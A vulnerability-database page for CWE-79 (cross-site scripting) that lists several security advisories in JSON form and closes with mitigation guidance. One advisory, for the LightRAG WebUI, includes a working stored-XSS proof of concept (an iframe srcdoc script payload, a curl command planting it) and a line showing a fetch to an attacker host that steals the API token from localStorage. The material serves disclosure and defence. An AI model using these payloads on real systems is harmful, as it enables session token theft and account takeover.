CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
70830 vulnerabilities reference this CWE, most recent first.
GHSA-XPH7-8872-8H48
Vulnerability from github – Published: 2022-01-28 00:02 – Updated: 2022-02-03 00:00A Cross-site scripting (XSS) vulnerability in Secondary Email Field in Zoho ManageEngine ServiceDesk Plus 11.3 Build 11306 allows an attackers to inject arbitrary JavaScript code.
{
"affected": [],
"aliases": [
"CVE-2021-46065"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-27T16:15:00Z",
"severity": "MODERATE"
},
"details": "A Cross-site scripting (XSS) vulnerability in Secondary Email Field in Zoho ManageEngine ServiceDesk Plus 11.3 Build 11306 allows an attackers to inject arbitrary JavaScript code.",
"id": "GHSA-xph7-8872-8h48",
"modified": "2022-02-03T00:00:35Z",
"published": "2022-01-28T00:02:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46065"
},
{
"type": "WEB",
"url": "https://github.com/corrupted-brain/Findings/blob/main/ManageEngine%20XSS.md"
},
{
"type": "WEB",
"url": "https://www.manageengine.com/products/service-desk/on-premises/readme.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XPH7-PM58-Q56V
Vulnerability from github – Published: 2024-03-21 18:32 – Updated: 2025-04-09 18:30Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPCoder WP Coder allows Stored XSS.This issue affects WP Coder: from n/a through 3.5.
{
"affected": [],
"aliases": [
"CVE-2024-2578"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-21T17:15:09Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in WPCoder WP Coder allows Stored XSS.This issue affects WP Coder: from n/a through 3.5.",
"id": "GHSA-xph7-pm58-q56v",
"modified": "2025-04-09T18:30:39Z",
"published": "2024-03-21T18:32:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2578"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/wp-coder/wordpress-wp-coder-plugin-3-5-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-XPJG-7HX7-WGCX
Vulnerability from github – Published: 2024-02-21 03:30 – Updated: 2024-02-21 23:28Cross-site scripting (XSS) vulnerability in HtmlUtil.escapeJsLink in Liferay Portal 7.2.0 through 7.4.1, and older unsupported versions, and Liferay DXP 7.3 before service pack 3, 7.2 before fix pack 15, and older unsupported versions allows remote attackers to inject arbitrary web script or HTML via crafted javascript: style links.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.liferay.portal:release.portal.bom"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "7.4.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.liferay.portal:release.dxp.bom"
},
"ranges": [
{
"events": [
{
"introduced": "7.3.0"
},
{
"fixed": "7.3.10.u4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.liferay.portal:release.dxp.bom"
},
"ranges": [
{
"events": [
{
"introduced": "7.2.0"
},
{
"fixed": "7.2.10.fp15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-25147"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-21T23:28:50Z",
"nvd_published_at": "2024-02-21T02:15:29Z",
"severity": "CRITICAL"
},
"details": "Cross-site scripting (XSS) vulnerability in HtmlUtil.escapeJsLink in Liferay Portal 7.2.0 through 7.4.1, and older unsupported versions, and Liferay DXP 7.3 before service pack 3, 7.2 before fix pack 15, and older unsupported versions allows remote attackers to inject arbitrary web script or HTML via crafted javascript: style links.",
"id": "GHSA-xpjg-7hx7-wgcx",
"modified": "2024-02-21T23:28:50Z",
"published": "2024-02-21T03:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25147"
},
{
"type": "PACKAGE",
"url": "https://github.com/liferay/liferay-portal"
},
{
"type": "WEB",
"url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/cve-2024-25147"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Liferay Portal and Liferay DXP vulnerable to Cross-site Scripting"
}
GHSA-XPJQ-3W4W-W5WR
Vulnerability from github – Published: 2026-09-22 20:40 – Updated: 2026-09-22 20:40Summary
The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is
configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer
(rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived
from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript
payload that executes in the browser of any user who later retrieves it (typically an administrator),
leading to auth-token theft from localStorage and full API takeover. No authentication is required in
the default configuration.
Details
Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:
- Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with
rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only
restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no
rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
- Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is
injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables
mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click
directive) is an additional script-execution path.
- Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…}
is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary
external resource load from the victim's browser). Recommend trust: false.
Source → sink:
POST /documents/text or POST /documents/upload stores the document → POST /query returns it
(verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by
the LLM) → the response is streamed into assistantMessage.content
(lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.
react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript:
links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw
elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.
PoC
Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0,
rehype-raw@7.0.0.
Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers
uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list.
Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize
allows HTML injection — that is the vulnerability.
Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:
mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
# msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"
poc.mjs:
import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';
// Stands in for an assistant answer built from an ingested document.
const answer =
`<iframe srcdoc="<script>` +
`var h=parent.document.createElement('h1');h.style.color='red';` +
`h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
`parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
`<\/script>"></iframe>`;
// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body); // note the LIVE <iframe srcDoc="..."> — not HTML-escaped
Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title
becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This
confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and
<iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React /
react-markdown, so <iframe srcdoc> is the reliable vector.)
Illustrative end-to-end source path (in a live instance):
curl -X POST http://127.0.0.1:9621/documents/text \
-H 'Content-Type: application/json' \
-d '{"text":"<iframe srcdoc=\"<script>document.title=document.domain</script>\"></iframe>","file_source":"note.md"}'
Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored
payload renders and the benign marker script runs in the viewer's browser (the page title becomes the
origin). A real attacker replaces the benign marker with
fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT
(verified storage key) and impersonate them against the API.
Impact
Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any
authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs
arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the
auth token in localStorage, the injected script can read it and drive the API as the victim
(exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full
account/instance takeover.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.5.4"
},
"package": {
"ecosystem": "PyPI",
"name": "lightrag-hku"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-86062"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T20:40:27Z",
"nvd_published_at": "2026-09-22T17:17:27Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe LightRAG WebUI renders assistant/answer chat content as **raw HTML** \u2014 `react-markdown` is\nconfigured with `rehypePlugins={[rehypeRaw]}` and `skipHtml={false}` and **no** HTML sanitizer\n(`rehype-sanitize`), element allow-list, or custom `urlTransform`. Because answer content is derived\nfrom user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript\npayload that executes in the browser of any user who later retrieves it (typically an administrator),\nleading to auth-token theft from `localStorage` and full API takeover. No authentication is required in\nthe default configuration.\n\n### Details\nSink \u2014 `lightrag_webui/src/components/retrieval/ChatMessage.tsx`:\n- Main answer (`MessageMarkdown`, lines ~348-351) and thinking content (lines ~252-272) render with\n `rehypePlugins={[rehypeRaw, \u2026]}` and `skipHtml={false}`. The `components` map (lines ~111-156) only\n restyles safe formatting tags (`p`, `h1`\u2013`h4`, `ul`, `ol`, `li`, `code`); there is no\n `rehype-sanitize`, no `allowedElements`/`disallowedElements`, and no custom `urlTransform`.\n- Second sink: mermaid is initialized with `securityLevel: \u0027loose\u0027` (line ~433) and the rendered SVG is\n injected via `container.innerHTML = svg` (line ~483) + `bindFunctions(container)`. `\u0027loose\u0027` disables\n mermaid\u0027s output sanitization, so a ` ```mermaid ` block in answer content (HTML label / `click`\n directive) is an additional script-execution path.\n- Hardening (not code execution): KaTeX is set with `trust: true` (lines ~261/~359). `\\href{javascript:\u2026}`\n is blocked by React 19, but `\\includegraphics{URL}` renders a live remote `\u003cimg src\u003e` (arbitrary\n external resource load from the victim\u0027s browser). Recommend `trust: false`.\n\nSource \u2192 sink:\n`POST /documents/text` or `POST /documents/upload` stores the document \u2192 `POST /query` returns it\n(verbatim when `only_need_context=true`, `lightrag/api/routers/query_routes.py:27`; otherwise echoed by\nthe LLM) \u2192 the response is streamed into `assistantMessage.content`\n(`lightrag_webui/src/features/RetrievalView.tsx:340`) \u2192 rendered by the sink above.\n\nreact-markdown\u0027s built-in defenses do NOT cover this: it sanitizes `href`/`src` URLs (so `javascript:`\nlinks are blocked) and React ignores string event handlers (so `\u003cimg onerror\u003e` is dropped), but raw\nelements such as `\u003ciframe srcdoc=\"\u2026\"\u003e` and `\u003csvg\u003e\u003cscript\u003e` are rendered unchanged and execute.\n\n### PoC\nBenign, local-only. Tested at commit `f3378a3` (v1.5.5) with `react@19`, `react-markdown@10.1.0`,\n`rehype-raw@7.0.0`.\n\n**Fastest check (code review, ~10s):** in `ChatMessage.tsx`, the `\u003cReactMarkdown\u003e` that renders answers\nuses `rehypePlugins={[rehypeRaw, \u2026]}` with `skipHtml={false}` and no `rehype-sanitize` / allow-list.\nPer react-markdown\u0027s own documentation, `rehype-raw` on untrusted input without `rehype-sanitize`\nallows HTML injection \u2014 that is the vulnerability.\n\n**Runnable proof (~2 min) \u2014 reproduces the exact renderer config and shows it execute in a browser:**\n```bash\nmkdir xss-check \u0026\u0026 cd xss-check\nnpm init -y\nnpm install react@19 react-dom@19 react-markdown@10 rehype-raw@7\n# save the script below as poc.mjs, then:\nnode poc.mjs\n# open the generated poc.html in any browser (or headless):\n# msedge --headless=new --dump-dom \"file:///ABS/PATH/poc.html\"\n```\n`poc.mjs`:\n```js\nimport React from \u0027react\u0027;\nimport { renderToStaticMarkup } from \u0027react-dom/server\u0027;\nimport ReactMarkdown from \u0027react-markdown\u0027;\nimport rehypeRaw from \u0027rehype-raw\u0027;\nimport { writeFileSync } from \u0027fs\u0027;\n\n// Stands in for an assistant answer built from an ingested document.\nconst answer =\n `\u003ciframe srcdoc=\"\u003cscript\u003e` +\n `var h=parent.document.createElement(\u0027h1\u0027);h.style.color=\u0027red\u0027;` +\n `h.textContent=\u0027XSS EXECUTED on \u0027+(parent.document.domain||\u0027this page\u0027);` +\n `parent.document.body.appendChild(h);parent.document.title=\u0027XSS-EXECUTED\u0027;` +\n `\u003c\\/script\u003e\"\u003e\u003c/iframe\u003e`;\n\n// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):\nconst body = renderToStaticMarkup(\n React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)\n);\nwriteFileSync(\u0027poc.html\u0027, `\u003c!doctype html\u003e\u003ctitle\u003ebefore-xss\u003c/title\u003e\u003cbody\u003e${body}\u003c/body\u003e`);\nconsole.log(body); // note the LIVE \u003ciframe srcDoc=\"...\"\u003e \u2014 not HTML-escaped\n```\n\n**Observed** (verified in headless Chromium/Edge): the injected `srcdoc` script runs \u2014 the page title\nbecomes `XSS-EXECUTED` and a red \"XSS EXECUTED on this page\" heading is appended to the document. This\nconfirms attacker HTML in answer content executes. (Separately: `\u003cscript\u003e`, `\u003csvg\u003e\u003cscript\u003e`, and\n`\u003ciframe srcdoc\u003e` survive rendering; `\u003cimg onerror\u003e` and `javascript:` links are neutralized by React /\nreact-markdown, so `\u003ciframe srcdoc\u003e` is the reliable vector.)\n\n**Illustrative end-to-end source path (in a live instance):**\n```bash\ncurl -X POST http://127.0.0.1:9621/documents/text \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"text\":\"\u003ciframe srcdoc=\\\"\u0026lt;script\u0026gt;document.title=document.domain\u0026lt;/script\u0026gt;\\\"\u003e\u003c/iframe\u003e\",\"file_source\":\"note.md\"}\u0027\n```\nThen query the knowledge base from the WebUI (or `POST /query` with `only_need_context=true`); the stored\npayload renders and the benign marker script runs in the viewer\u0027s browser (the page title becomes the\norigin). A real attacker replaces the benign marker with\n`fetch(\u0027//attacker/?t=\u0027+localStorage.getItem(\u0027LIGHTRAG-API-TOKEN\u0027))` to exfiltrate the victim\u0027s JWT\n(verified storage key) and impersonate them against the API.\n\n### Impact\nStored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any\nauthenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs\narbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the\nauth token in `localStorage`, the injected script can read it and drive the API as the victim\n(exfiltrate/modify/delete the knowledge base and graph, upload documents) \u2014 i.e. escalate to full\naccount/instance takeover.",
"id": "GHSA-xpjq-3w4w-w5wr",
"modified": "2026-09-22T20:40:27Z",
"published": "2026-09-22T20:40:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-xpjq-3w4w-w5wr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86062"
},
{
"type": "WEB",
"url": "https://github.com/HKUDS/LightRAG/pull/3437"
},
{
"type": "WEB",
"url": "https://github.com/HKUDS/LightRAG/commit/8bf032a5200f293b482dd945d436e25cd08bd953"
},
{
"type": "PACKAGE",
"url": "https://github.com/HKUDS/LightRAG"
},
{
"type": "WEB",
"url": "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content"
}
GHSA-XPM5-253F-8839
Vulnerability from github – Published: 2026-08-04 09:31 – Updated: 2026-08-04 15:32The Brizy WordPress plugin before 2.8.19 does not sanitize or escape featured-image focal-point coordinates submitted through one of its AJAX actions before storing them and later echoing them into HTML attributes in the post editor's Featured Image meta box, allowing users with the Contributor role or above to inject arbitrary web scripts that execute in the session of a higher-privileged user who opens the post for review.
{
"affected": [],
"aliases": [
"CVE-2026-16069"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-04T07:16:29Z",
"severity": "MODERATE"
},
"details": "The Brizy WordPress plugin before 2.8.19 does not sanitize or escape featured-image focal-point coordinates submitted through one of its AJAX actions before storing them and later echoing them into HTML attributes in the post editor\u0027s Featured Image meta box, allowing users with the Contributor role or above to inject arbitrary web scripts that execute in the session of a higher-privileged user who opens the post for review.",
"id": "GHSA-xpm5-253f-8839",
"modified": "2026-08-04T15:32:21Z",
"published": "2026-08-04T09:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16069"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/3fce478e-e240-46f4-b4a5-682eec11c7ad"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XPM7-PRRF-VJ8X
Vulnerability from github – Published: 2022-05-24 19:18 – Updated: 2022-05-24 19:18Macrob7 Macs Framework Content Management System - 1.14f contains a cross-site scripting (XSS) vulnerability in the account reset function, which allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the e-mail input field.
{
"affected": [],
"aliases": [
"CVE-2020-36498"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-22T20:15:00Z",
"severity": "MODERATE"
},
"details": "Macrob7 Macs Framework Content Management System - 1.14f contains a cross-site scripting (XSS) vulnerability in the account reset function, which allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the e-mail input field.",
"id": "GHSA-xpm7-prrf-vj8x",
"modified": "2022-05-24T19:18:31Z",
"published": "2022-05-24T19:18:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36498"
},
{
"type": "WEB",
"url": "https://www.vulnerability-lab.com/get_content.php?id=2206"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XPMF-95JH-4H75
Vulnerability from github – Published: 2022-08-09 00:00 – Updated: 2022-08-13 00:00The Crowdsignal Dashboard WordPress plugin before 3.0.8 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting
{
"affected": [],
"aliases": [
"CVE-2022-2386"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-08T14:15:00Z",
"severity": "MODERATE"
},
"details": "The Crowdsignal Dashboard WordPress plugin before 3.0.8 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting",
"id": "GHSA-xpmf-95jh-4h75",
"modified": "2022-08-13T00:00:53Z",
"published": "2022-08-09T00:00:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2386"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/47855d4b-9f6a-4fc7-b231-4337f51c8886"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XPMF-RJRC-7RC4
Vulnerability from github – Published: 2023-10-27 00:30 – Updated: 2023-11-03 21:30ZenTao Biz version 4.1.3 and before has a Cross Site Scripting (XSS) vulnerability in the Version Library.
{
"affected": [],
"aliases": [
"CVE-2023-46491"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-27T00:15:09Z",
"severity": "MODERATE"
},
"details": "ZenTao Biz version 4.1.3 and before has a Cross Site Scripting (XSS) vulnerability in the Version Library.",
"id": "GHSA-xpmf-rjrc-7rc4",
"modified": "2023-11-03T21:30:23Z",
"published": "2023-10-27T00:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46491"
},
{
"type": "WEB",
"url": "https://foremost-smash-52a.notion.site/Zentao-Authorized-XSS-Vulnerability-CVE-2023-46491-eea8cbfe2fab4ea78a174e5275309759"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XPMF-WX3V-H7CG
Vulnerability from github – Published: 2023-04-05 21:30 – Updated: 2023-04-12 21:30Multiple vulnerabilities in the web-based management interface of Cisco Small Business RV016, RV042, RV042G, RV082, RV320, and RV325 Routers could allow an unauthenticated, remote attacker to conduct cross-site scripting (XSS) attacks against a user of the interface. These vulnerabilities are due to insufficient input validation by the web-based management interface. An attacker could exploit these vulnerabilities by sending crafted HTTP requests to an affected device and then persuading a user to visit specific web pages that include malicious payloads. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. Cisco has not released software updates that address these vulnerabilities.
{
"affected": [],
"aliases": [
"CVE-2023-20151"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-05T19:15:00Z",
"severity": "MODERATE"
},
"details": "Multiple vulnerabilities in the web-based management interface of Cisco Small Business RV016, RV042, RV042G, RV082, RV320, and RV325 Routers could allow an unauthenticated, remote attacker to conduct cross-site scripting (XSS) attacks against a user of the interface. These vulnerabilities are due to insufficient input validation by the web-based management interface. An attacker could exploit these vulnerabilities by sending crafted HTTP requests to an affected device and then persuading a user to visit specific web pages that include malicious payloads. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. Cisco has not released software updates that address these vulnerabilities.",
"id": "GHSA-xpmf-wx3v-h7cg",
"modified": "2023-04-12T21:30:20Z",
"published": "2023-04-05T21:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20151"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-stored-xss-vqz7gC8W"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XPMJ-F96F-W324
Vulnerability from github – Published: 2025-12-31 00:31 – Updated: 2025-12-31 00:31ETAP Safety Manager 1.0.0.32 contains a cross-site scripting vulnerability in the 'action' GET parameter that allows unauthenticated attackers to inject malicious HTML and JavaScript. Attackers can craft specially formed requests to execute arbitrary scripts in victim browser sessions, potentially stealing credentials or performing unauthorized actions.
{
"affected": [],
"aliases": [
"CVE-2022-50802"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-30T23:15:47Z",
"severity": "MODERATE"
},
"details": "ETAP Safety Manager 1.0.0.32 contains a cross-site scripting vulnerability in the \u0027action\u0027 GET parameter that allows unauthenticated attackers to inject malicious HTML and JavaScript. Attackers can craft specially formed requests to execute arbitrary scripts in victim browser sessions, potentially stealing credentials or performing unauthorized actions.",
"id": "GHSA-xpmj-f96f-w324",
"modified": "2025-12-31T00:31:10Z",
"published": "2025-12-31T00:31:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-50802"
},
{
"type": "WEB",
"url": "https://cxsecurity.com/issue/WLB-2022090031"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/235743"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/168339"
},
{
"type": "WEB",
"url": "https://www.etaplighting.com"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/etap-safety-manager-unauthenticated-reflected-cross-site-scripting-via-action-parameter"
},
{
"type": "WEB",
"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5711.php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
